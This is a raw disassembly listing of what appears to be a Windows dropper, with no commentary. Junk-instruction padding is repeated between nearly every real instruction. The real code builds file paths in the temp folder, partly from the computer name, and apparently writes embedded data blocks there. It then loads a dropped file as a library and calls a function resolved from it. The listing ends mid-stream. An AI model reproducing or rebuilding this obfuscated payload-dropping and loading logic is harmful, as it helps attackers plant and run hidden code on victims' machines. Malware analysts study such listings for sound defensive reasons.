mov byte [ebp - 0x379], al
movsx eax, byte [ebp - 0x379]
test eax, eax
je 0x40395c
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
je 0x403313
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 9], 0x70
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a110
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38c], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
mov dword [ebp - 0x6b4], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x6b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40348c
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x6b4]
lea eax, [ebp - 0x230]
sub edx, eax
mov dword [ebp - 0x6b8], edx
jmp 0x4034c8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x6b4]
add ecx, 1
mov dword [ebp - 0x6b4], ecx
jmp 0x403419
mov edx, dword [ebp - 0x38c]
add edx, dword [ebp - 0x6b8]
mov dword [ebp - 0x38c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x120]
push eax
push 8
mov ecx, dword [ebp - 0x38c]
push ecx
call fcn.00404fa0
add esp, 0xc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push str._emm
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx eax, byte [ebp - 9]
cmp eax, 0x70
jne 0x40395a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x31
jl 0x4035d7
movsx edx, byte [ebp - 0x379]
cmp edx, 0x38
jg 0x4035d7
mov dword [ebp - 0x870], 1
jmp 0x4035e1
mov dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x380], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x61
jl 0x403639
movsx edx, byte [ebp - 0x379]
cmp edx, 0x64
jg 0x403639
mov dword [ebp - 0x874], 1
jmp 0x403643
mov dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 4], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x380], 0
jne 0x403683
cmp dword [ebp - 4], 0
je 0x4036f0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov cl, byte [ebp - 9]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x13000
push 0x40c030
call fcn.00404350
add esp, 0x10
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x724], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x724], 0xffffffff
je 0x40378f
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x40379b
mov dword [ebp - 0x728], 0
jmp 0x4037a5
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 0
je 0x40395a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3a8], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x3a8], 0
je 0x40395a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x1c
call fcn.004053e0
add esp, 4
mov dword [ebp - 0x384], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a114
mov eax, dword [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46f40c], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx ecx, byte [ebp - 0x379]
push ecx
call dword [0x46f40c]
mov byte [ebp - 0x25e], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x3a8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4039b9
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x403a19
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x258]
mov dl, byte [ecx]
mov byte [ebp - 0x25e], dl
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx eax, byte [ebp - 0x25e]
test eax, eax
jne 0x403a57
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
jne 0x403a62
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x403a7b
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x404267
cmp dword [ebp - 8], 0x78
jle 0x404267
mov dword [ebp - 8], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x25e], 0x70
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea ecx, [ebp - 0x230]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a118
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x25c], 0x7f
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
mov dword [ebp - 0x38c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x230]
mov dword [ebp - 0x7f4], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x7f4]
movsx edx, byte [ecx]
test edx, edx
jne 0x403c70
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x7f4]
lea ecx, [ebp - 0x230]
sub eax, ecx
mov dword [ebp - 0x7f8], eax
jmp 0x403cac
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x7f4]
add edx, 1
mov dword [ebp - 0x7f4], edx
jmp 0x403bfd
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x38c], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea ecx, [ebp - 0x378]
push ecx
push 0xb
mov edx, dword [ebp - 0x38c]
push edx
call fcn.00404fa0
add esp, 0xc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push str._fyf
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x848], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x848], 0xffffffff
je 0x403dd9
movsx edx, byte [ebp - 0x230]
test edx, edx
jne 0x403de5
mov dword [ebp - 0x84c], 0
jmp 0x403def
mov dword [ebp - 0x84c], 1
cmp dword [ebp - 0x84c], 0
je 0x403e03
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x403e73
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov cl, byte [ebp - 0x25e]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x50000
push 0x41f038
call fcn.00404350
add esp, 0x10
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x378]
mov dword [ebp - 0x26c], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x22
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x403f82
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x24
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x26c], 0
je 0x403fbd
lea eax, [ebp - 0x120]
test eax, eax
jne 0x403fea
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4040e6
mov dword [ebp - 0x86c], 0
jmp 0x404005
mov ecx, dword [ebp - 0x86c]
add ecx, 1
mov dword [ebp - 0x86c], ecx
mov edx, dword [ebp - 0x86c]
movsx eax, byte [ebp + edx - 0x120]
test eax, eax
je 0x404087
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov edx, dword [ebp - 0x86c]
mov al, byte [ebp + edx - 0x120]
mov byte [ecx], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x403ff6
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov byte [ecx], 0
mov al, 0x76
